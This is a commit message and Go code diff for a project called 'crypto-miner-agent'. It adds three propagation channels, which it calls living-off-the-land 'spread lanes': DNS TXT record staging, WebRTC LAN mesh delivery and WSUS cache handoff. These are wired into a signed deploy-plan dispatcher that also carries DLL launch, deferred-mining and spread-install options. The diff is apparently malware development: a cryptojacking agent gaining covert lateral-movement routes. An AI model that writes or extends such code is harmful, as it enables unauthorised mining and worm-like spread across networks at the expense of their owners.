Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.

Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.

agent/deploy/discover_join.go

@@ -12,6 +12,16 @@ import (
 	"crypto-miner-agent/config"
 )
 
+// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
+type WebRTCMeshPlanBody struct {
+	STUNServers    []string `json:"stun_servers,omitempty"`
+	SignalingRelay string   `json:"signaling_relay,omitempty"`
+	LANFallbackURL string   `json:"lan_fallback_url,omitempty"`
+	SeederAgentID  string   `json:"seeder_agent_id,omitempty"`
+	RotationHours  int      `json:"rotation_hours,omitempty"`
+	IsSeeder       bool     `json:"is_seeder,omitempty"`
+}
+
 // DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
 type DeployPlanBody struct {
 	JoinLane       string            `json:"join_lane"`
@@ -19,6 +29,12 @@ type DeployPlanBody struct {
 	Action         string            `json:"action"`
 	Manifest       *StagingManifest  `json:"manifest,omitempty"`
 	PeerGroup      string            `json:"peer_group,omitempty"`
+	CacheGroup     string            `json:"cache_group,omitempty"`
+	DNSTXTZone     string            `json:"dns_txt_zone,omitempty"`
+	DNSTXTRecords  []string          `json:"dns_txt_records,omitempty"`
+	DNSTXTShards   []int             `json:"dns_txt_shards,omitempty"`
+	TTLRefreshSec  int               `json:"ttl_refresh_sec,omitempty"`
+	WebRTCMesh     *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
 	Script         string            `json:"script,omitempty"`
 	UNCPath        string            `json:"unc_path,omitempty"`
 	MaxHosts       int               `json:"max_hosts,omitempty"`
@@ -71,6 +87,67 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
 			return "", err
 		}
 		return msg, nil
+	case "wsus_cache_peer":
+		if plan.Manifest == nil {
+			return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
+		}
+		group := strings.TrimSpace(plan.CacheGroup)
+		if group == "" {
+			group = strings.TrimSpace(plan.Manifest.CacheGroup)
+		}
+		msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
+		if err != nil {
+			return "", err
+		}
+		return msg, nil
+	case "dns_txt":
+		if plan.Manifest == nil {
+			return "", fmt.Errorf("join lane dns_txt requires staging manifest")
+		}
+		zone := strings.TrimSpace(plan.DNSTXTZone)
+		if zone == "" {
+			zone = strings.TrimSpace(plan.Manifest.DNSZone)
+		}
+		ttl := plan.TTLRefreshSec
+		if ttl == 0 {
+			ttl = plan.Manifest.TTLRefreshSec
+		}
+		msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
+		if err != nil {
+			return "", err
+		}
+		return msg, nil
+	case "webrtc_mesh":
+		if plan.Manifest == nil {
+			return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
+		}
+		policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
+		if plan.WebRTCMesh != nil {
+			policy = WebRTCMeshPolicy{
+				STUNServers:    plan.WebRTCMesh.STUNServers,
+				SignalingRelay: plan.WebRTCMesh.SignalingRelay,
+				LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
+				SeederAgentID:  plan.WebRTCMesh.SeederAgentID,
+				RotationHours:  plan.WebRTCMesh.RotationHours,
+				IsSeeder:       plan.WebRTCMesh.IsSeeder,
+			}
+		}
+		if policy.RotationHours <= 0 {
+			policy.RotationHours = DefaultWebRTCRotationHours
+		}
+		msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
+			Policy:        policy,
+			SHA256:        plan.Manifest.SHA256,
+			Dest:          plan.Manifest.Dest,
+			Launch:        plan.Manifest.Launch,
+			DLLExport:     plan.Manifest.DLLExport,
+			DeferMining:   plan.Manifest.DeferMining,
+			SpreadInstall: plan.Manifest.SpreadInstall,
+		})
+		if err != nil {
+			return "", err
+		}
+		return msg, nil
 	case "bits_curl", "docker_load":
 		if plan.Manifest == nil {
 			return "", fmt.Errorf("join lane %s requires staging manifest", lane)